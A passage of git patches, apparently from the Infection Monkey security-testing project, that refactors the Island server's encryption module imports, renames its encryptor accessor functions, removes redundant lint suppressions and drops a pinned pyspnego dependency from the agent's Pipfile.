diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index d15968ca7..e245575eb 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -1 +1,13 @@ -from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor # noqa: F401 +from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor +from monkey_island.cc.server_utils.encryption.key_based_encryptor import KeyBasedEncryptor +from monkey_island.cc.server_utils.encryption.password_based_encryption import ( + InvalidCiphertextError, + InvalidCredentialsError, + PasswordBasedEncryptor, + is_encrypted, +) +from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( + DataStoreEncryptor, + get_encryptor, + initialize_encryptor, +) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index f2b989816..f4125e1bf 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -4,7 +4,7 @@ import os # is maintained. from Crypto import Random # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.encryption.key_based_encryptor import KeyBasedEncryptor +from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file _encryptor = None diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 88243de5d..8e8938d93 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -1,4 +1,4 @@ -from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption import get_encryptor def parse_creds(attempt): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 7f69928c0..d5da366d6 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -19,7 +19,7 @@ from common.config_value_paths import ( USER_LIST_PATH, ) from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption import get_encryptor from monkey_island.cc.services.config_manipulator import update_config_per_mode from monkey_island.cc.services.config_schema.config_schema import SCHEMA from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 246176a8d..bd78e1fe8 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -3,7 +3,7 @@ import copy import dateutil from monkey_island.cc.models import Monkey -from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 3cc1dc560..4d54af4d8 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,6 +1,6 @@ import logging -from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 3ac6a7861..ece015935 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -5,7 +5,7 @@ from ScoutSuite.providers.base.authentication_strategy import AuthenticationExce from common.cloud.scoutsuite_consts import CloudProviders from common.config_value_paths import AWS_KEYS_PATH from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption import get_encryptor from monkey_island.cc.services.config import ConfigService diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index 1428a0009..9af487e24 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,7 +1,7 @@ import pytest from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor -from monkey_island.cc.server_utils.encryption.data_store_encryptor import initialize_encryptor +from monkey_island.cc.server_utils.encryption import initialize_encryptor MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py index ac72f01c2..fb397f234 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -8,9 +8,7 @@ from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.configuration_import import ConfigurationImport -from monkey_island.cc.server_utils.encryption.password_based_encryption import ( - PasswordBasedEncryptor, -) +from monkey_island.cc.server_utils.encryption import PasswordBasedEncryptor def test_is_config_encrypted__json(monkey_config_json): diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index e3dbd8afa..fa135c345 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -1,9 +1,6 @@ import os -from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( - get_encryptor, - initialize_encryptor, -) +from monkey_island.cc.server_utils.encryption import get_encryptor, initialize_encryptor PASSWORD_FILENAME = "mongo_key.bin" diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py index cb3756e40..d00609481 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py @@ -4,10 +4,7 @@ from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption VALID_CIPHER_TEXT, ) -from monkey_island.cc.server_utils.encryption.password_based_encryption import ( - InvalidCredentialsError, - PasswordBasedEncryptor, -) +from monkey_island.cc.server_utils.encryption import InvalidCredentialsError, PasswordBasedEncryptor MONKEY_CONFIGS_DIR_PATH = "monkey_configs" STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 12809dfa8..3df67330c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -5,10 +5,7 @@ import pytest from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( - get_encryptor, - initialize_encryptor, -) +from monkey_island.cc.server_utils.encryption import get_encryptor, initialize_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( is_aws_keys_setup, diff --git a/pyproject.toml b/pyproject.toml index 05c8dfe81..88da84d42 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -12,6 +12,7 @@ include_trailing_comma = true force_grid_wrap = 0 use_parentheses = true ensure_newline_before_comments = true +skip_glob="**/__init__.py" [tool.pytest.ini_options] minversion = "6.0" From e2ede289674142d23c70d37ed951a94238790b7e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Sep 2021 19:04:22 +0200 Subject: [PATCH 208/454] Island: Rename get_encryptor and initialize_encryptor Renamed to get_datastore_encryptor and initialize_datastore_encryptor --- .../field_encryptors/string_list_encryptor.py | 6 ++-- monkey/monkey_island/cc/server_setup.py | 4 +-- .../cc/server_utils/encryption/__init__.py | 4 +-- .../encryption/data_store_encryptor.py | 4 +-- .../technique_report_tools.py | 6 ++-- monkey/monkey_island/cc/services/config.py | 30 ++++++++++--------- .../services/telemetry/processing/exploit.py | 4 +-- .../telemetry/processing/system_info.py | 4 +-- .../scoutsuite/scoutsuite_auth_service.py | 4 +-- .../test_string_list_encryptor.py | 4 +-- .../encryption/test_data_store_encryptor.py | 19 +++++++----- .../test_scoutsuite_auth_service.py | 9 ++++-- 12 files changed, 53 insertions(+), 45 deletions(-) diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py index ab9b6a3e5..089155289 100644 --- a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py @@ -1,14 +1,14 @@ from typing import List from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.server_utils.encryption import get_encryptor +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor class StringListEncryptor(IFieldEncryptor): @staticmethod def encrypt(value: List[str]): - return [get_encryptor().enc(string) for string in value] + return [get_datastore_encryptor().enc(string) for string in value] @staticmethod def decrypt(value: List[str]): - return [get_encryptor().dec(string) for string in value] + return [get_datastore_encryptor().dec(string) for string in value] diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 7d8bf2d9f..a4e4da485 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -27,7 +27,7 @@ from monkey_island.cc.server_utils.consts import ( # noqa: E402 GEVENT_EXCEPTION_LOG, MONGO_CONNECTION_TIMEOUT, ) -from monkey_island.cc.server_utils.encryption import initialize_encryptor # noqa: E402 +from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor # noqa: E402 from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 @@ -88,7 +88,7 @@ def _configure_logging(config_options): def _initialize_globals(config_options: IslandConfigOptions, server_config_path: str): env_singleton.initialize_from_file(server_config_path) - initialize_encryptor(config_options.data_dir) + initialize_datastore_encryptor(config_options.data_dir) initialize_services(config_options.data_dir) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index e245575eb..a41240be1 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -8,6 +8,6 @@ from monkey_island.cc.server_utils.encryption.password_based_encryption import ( ) from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( DataStoreEncryptor, - get_encryptor, - initialize_encryptor, + get_datastore_encryptor, + initialize_datastore_encryptor, ) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index f4125e1bf..215703c02 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -40,11 +40,11 @@ class DataStoreEncryptor: return self._key_base_encryptor.decrypt(enc_message) -def initialize_encryptor(key_file_dir): +def initialize_datastore_encryptor(key_file_dir): global _encryptor _encryptor = DataStoreEncryptor(key_file_dir) -def get_encryptor(): +def get_datastore_encryptor(): return _encryptor diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 8e8938d93..16884678b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -1,4 +1,4 @@ -from monkey_island.cc.server_utils.encryption import get_encryptor +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor def parse_creds(attempt): @@ -29,7 +29,7 @@ def censor_password(password, plain_chars=3, secret_chars=5): """ if not password: return "" - password = get_encryptor().dec(password) + password = get_datastore_encryptor().dec(password) return password[0:plain_chars] + "*" * secret_chars @@ -42,5 +42,5 @@ def censor_hash(hash_, plain_chars=5): """ if not hash_: return "" - hash_ = get_encryptor().dec(hash_) + hash_ = get_datastore_encryptor().dec(hash_) return hash_[0:plain_chars] + " ..." diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index d5da366d6..973ca104a 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -19,7 +19,7 @@ from common.config_value_paths import ( USER_LIST_PATH, ) from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryption import get_encryptor +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config_manipulator import update_config_per_mode from monkey_island.cc.services.config_schema.config_schema import SCHEMA from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode @@ -90,9 +90,9 @@ class ConfigService: if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_VALUES: if isinstance(config, str): - config = get_encryptor().dec(config) + config = get_datastore_encryptor().dec(config) elif isinstance(config, list): - config = [get_encryptor().dec(x) for x in config] + config = [get_datastore_encryptor().dec(x) for x in config] return config @staticmethod @@ -130,7 +130,7 @@ class ConfigService: if item_value in items_from_config: return if should_encrypt: - item_value = get_encryptor().enc(item_value) + item_value = get_datastore_encryptor().enc(item_value) mongo.db.config.update( {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False ) @@ -349,9 +349,11 @@ class ConfigService: ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key] ] else: - flat_config[key] = [get_encryptor().dec(item) for item in flat_config[key]] + flat_config[key] = [ + get_datastore_encryptor().dec(item) for item in flat_config[key] + ] else: - flat_config[key] = get_encryptor().dec(flat_config[key]) + flat_config[key] = get_datastore_encryptor().dec(flat_config[key]) return flat_config @staticmethod @@ -377,25 +379,25 @@ class ConfigService: ) else: config_arr[i] = ( - get_encryptor().dec(config_arr[i]) + get_datastore_encryptor().dec(config_arr[i]) if is_decrypt - else get_encryptor().enc(config_arr[i]) + else get_datastore_encryptor().enc(config_arr[i]) ) else: parent_config_arr[config_arr_as_array[-1]] = ( - get_encryptor().dec(config_arr) + get_datastore_encryptor().dec(config_arr) if is_decrypt - else get_encryptor().enc(config_arr) + else get_datastore_encryptor().enc(config_arr) ) @staticmethod def decrypt_ssh_key_pair(pair, encrypt=False): if encrypt: - pair["public_key"] = get_encryptor().enc(pair["public_key"]) - pair["private_key"] = get_encryptor().enc(pair["private_key"]) + pair["public_key"] = get_datastore_encryptor().enc(pair["public_key"]) + pair["private_key"] = get_datastore_encryptor().enc(pair["private_key"]) else: - pair["public_key"] = get_encryptor().dec(pair["public_key"]) - pair["private_key"] = get_encryptor().dec(pair["private_key"]) + pair["public_key"] = get_datastore_encryptor().dec(pair["public_key"]) + pair["private_key"] = get_datastore_encryptor().dec(pair["private_key"]) return pair @staticmethod diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index bd78e1fe8..7c156930a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -3,7 +3,7 @@ import copy import dateutil from monkey_island.cc.models import Monkey -from monkey_island.cc.server_utils.encryption import get_encryptor +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService @@ -76,4 +76,4 @@ def encrypt_exploit_creds(telemetry_json): credential = attempts[i][field] if credential: # PowerShell exploiter's telem may have `None` here if len(credential) > 0: - attempts[i][field] = get_encryptor().enc(credential) + attempts[i][field] = get_datastore_encryptor().enc(credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 4d54af4d8..ba72e822b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,6 +1,6 @@ import logging -from monkey_island.cc.server_utils.encryption import get_encryptor +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 @@ -70,7 +70,7 @@ def encrypt_system_info_ssh_keys(ssh_info): for idx, user in enumerate(ssh_info): for field in ["public_key", "private_key", "known_hosts"]: if ssh_info[idx][field]: - ssh_info[idx][field] = get_encryptor().enc(ssh_info[idx][field]) + ssh_info[idx][field] = get_datastore_encryptor().enc(ssh_info[idx][field]) def process_credential_info(telemetry_json): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index ece015935..89aa002fa 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -5,7 +5,7 @@ from ScoutSuite.providers.base.authentication_strategy import AuthenticationExce from common.cloud.scoutsuite_consts import CloudProviders from common.config_value_paths import AWS_KEYS_PATH from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.encryption import get_encryptor +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config import ConfigService @@ -41,7 +41,7 @@ def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str) def _set_aws_key(key_type: str, key_value: str): path_to_keys = AWS_KEYS_PATH - encrypted_key = get_encryptor().enc(key_value) + encrypted_key = get_datastore_encryptor().enc(key_value) ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index 9af487e24..a93397392 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,7 +1,7 @@ import pytest from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor -from monkey_island.cc.server_utils.encryption import initialize_encryptor +from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] @@ -9,7 +9,7 @@ EMPTY_LIST = [] @pytest.fixture def uses_encryptor(data_for_tests_dir): - initialize_encryptor(data_for_tests_dir) + initialize_datastore_encryptor(data_for_tests_dir) def test_encryption_and_decryption(uses_encryptor): diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index fa135c345..bb005fbf7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -1,6 +1,9 @@ import os -from monkey_island.cc.server_utils.encryption import get_encryptor, initialize_encryptor +from monkey_island.cc.server_utils.encryption import ( + get_datastore_encryptor, + initialize_datastore_encryptor, +) PASSWORD_FILENAME = "mongo_key.bin" @@ -9,24 +12,24 @@ CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq" def test_aes_cbc_encryption(data_for_tests_dir): - initialize_encryptor(data_for_tests_dir) + initialize_datastore_encryptor(data_for_tests_dir) - assert get_encryptor().enc(PLAINTEXT) != PLAINTEXT + assert get_datastore_encryptor().enc(PLAINTEXT) != PLAINTEXT def test_aes_cbc_decryption(data_for_tests_dir): - initialize_encryptor(data_for_tests_dir) + initialize_datastore_encryptor(data_for_tests_dir) - assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT + assert get_datastore_encryptor().dec(CYPHERTEXT) == PLAINTEXT def test_aes_cbc_enc_dec(data_for_tests_dir): - initialize_encryptor(data_for_tests_dir) + initialize_datastore_encryptor(data_for_tests_dir) - assert get_encryptor().dec(get_encryptor().enc(PLAINTEXT)) == PLAINTEXT + assert get_datastore_encryptor().dec(get_datastore_encryptor().enc(PLAINTEXT)) == PLAINTEXT def test_create_new_password_file(tmpdir): - initialize_encryptor(tmpdir) + initialize_datastore_encryptor(tmpdir) assert os.path.isfile(os.path.join(tmpdir, PASSWORD_FILENAME)) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 3df67330c..2e6c2fd50 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -5,7 +5,10 @@ import pytest from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryption import get_encryptor, initialize_encryptor +from monkey_island.cc.server_utils.encryption import ( + get_datastore_encryptor, + initialize_datastore_encryptor, +) from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( is_aws_keys_setup, @@ -27,8 +30,8 @@ def test_is_aws_keys_setup(tmp_path): assert not is_aws_keys_setup() # Make sure noone changed config path and broke this function - initialize_encryptor(tmp_path) - bogus_key_value = get_encryptor().enc("bogus_aws_key") + initialize_datastore_encryptor(tmp_path) + bogus_key_value = get_datastore_encryptor().enc("bogus_aws_key") dpath.util.set( ConfigService.default_config, AWS_KEYS_PATH + ["aws_secret_access_key"], bogus_key_value ) From f0a2a43d51be5a6aafbd25dd223ab18a5f08b40f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Sep 2021 13:38:47 -0400 Subject: [PATCH 209/454] Remove unnecessary # noqa: F401 from __init__.py files --- monkey/infection_monkey/model/__init__.py | 2 +- monkey/infection_monkey/transport/__init__.py | 4 ++-- monkey/monkey_island/cc/models/__init__.py | 14 +++++++------- 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index bee29885c..7c39075be 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,4 +1,4 @@ -from infection_monkey.model.host import VictimHost # noqa: F401 +from infection_monkey.model.host import VictimHost MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index f9d56fe23..0dcbd56c6 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,2 +1,2 @@ -from infection_monkey.transport.http import HTTPServer # noqa: F401 -from infection_monkey.transport.http import LockedHTTPServer # noqa: F401 +from infection_monkey.transport.http import HTTPServer +from infection_monkey.transport.http import LockedHTTPServer diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index f99444210..005fa08b3 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,10 +1,10 @@ -from .command_control_channel import CommandControlChannel # noqa: F401, E402 +from .command_control_channel import CommandControlChannel # noqa: E402 # Order of importing matters here, for registering the embedded and referenced documents before # using them. -from .config import Config # noqa: F401, E402 -from .creds import Creds # noqa: F401, E402 -from .monkey import Monkey # noqa: F401, E402 -from .monkey_ttl import MonkeyTtl # noqa: F401, E402 -from .pba_results import PbaResults # noqa: F401, E402 -from .report import Report # noqa: F401, E402 +from .config import Config # noqa: E402 +from .creds import Creds # noqa: E402 +from .monkey import Monkey # noqa: E402 +from .monkey_ttl import MonkeyTtl # noqa: E402 +from .pba_results import PbaResults # noqa: E402 +from .report import Report # noqa: E402 From 1996387cc587980720a4cd8b9b83d998265b2eb5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Sep 2021 13:39:48 -0400 Subject: [PATCH 210/454] Remove unnecessary # noqa: E402 from __init__.py files --- monkey/monkey_island/cc/models/__init__.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 005fa08b3..3464154b5 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -1,10 +1,10 @@ -from .command_control_channel import CommandControlChannel # noqa: E402 +from .command_control_channel import CommandControlChannel # Order of importing matters here, for registering the embedded and referenced documents before # using them. -from .config import Config # noqa: E402 -from .creds import Creds # noqa: E402 -from .monkey import Monkey # noqa: E402 -from .monkey_ttl import MonkeyTtl # noqa: E402 -from .pba_results import PbaResults # noqa: E402 -from .report import Report # noqa: E402 +from .config import Config +from .creds import Creds +from .monkey import Monkey +from .monkey_ttl import MonkeyTtl +from .pba_results import PbaResults +from .report import Report From 089158a9769265bf09fca18e2c620f11590e4d17 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Sep 2021 15:46:35 -0400 Subject: [PATCH 211/454] Agent: Remove editable pyspnego degendency pyspnego v0.2.0 has been released, so we no longer need to specify a git commit hash in order to get the correct version. --- monkey/infection_monkey/Pipfile | 6 -- monkey/infection_monkey/Pipfile.lock | 112 +++++++++++++-------------- 2 files changed, 56 insertions(+), 62 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 9e9c774fc..75a5810a7 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -31,12 +31,6 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" -cython = "*" # Remove this after removing pyspnego -# Pinning pyspnego to this commit resolves #1456. A new pyspnego release that includes this commit -# is expected after 2021-10-01. Once a new version of pyspnego is released (v0.2.0?), both pyspnego -# and cython can be removed from this Pipfile (since pyspnego is a dependency of pypsrp and pypsrp -# has no hard version requirement. -pyspnego = {editable = true, ref = "3f748f210e4fb6b186b0036e1a0bf38762d64c37", git = "https://github.com/jborean93/pyspnego"} [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 94738759c..a9bb7d542 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "1e81422db7aad7fd36a441f2c81debddd23b214788cf11954067bc7f69cd0ebc" + "sha256": "43cdbb12fe6858c82a2fffa8dd1c38292b02dd326d2fa82cc8c1ab48a9d5b262" }, "pipfile-spec": 6, "requires": { @@ -69,19 +69,19 @@ }, "boto3": { "hashes": [ - "sha256:68ee81a7ef40380a5ab973e242bbf8739d56a49f8691508c48760fb5066933e3", - "sha256:c2fd29e53464e4ab79c224363c20a02af19f7ecc8baf37f7886a893fc672272a" + "sha256:3d8b1c76a2d40775b3a8a5c457293741641bf3b6b7150e3ad351e584bb50786e", + "sha256:f7e8ce6155a4d4fc23796cb58ea4d28dd4bbb61198a0da8ff2efcbee395c453c" ], "markers": "python_version >= '3.6'", - "version": "==1.18.45" + "version": "==1.18.46" }, "botocore": { "hashes": [ - "sha256:1d31e461dfc9ddb9a86fdd47ebc61751adc8739b4f7160c687c04092e5fbe0aa", - "sha256:b3a77dcc7d54a3725aa0a9b44e4a79142a013584cd0568750a9ee9ab6970538f" + "sha256:58622d4d84adcbc352d82ab8a7ec512c7af862bcffd3b93225b416a87f46a6a2", + "sha256:a5df461647d1080185e91c3078ab570cc6fc346df05b9decac9fca68c149b7b8" 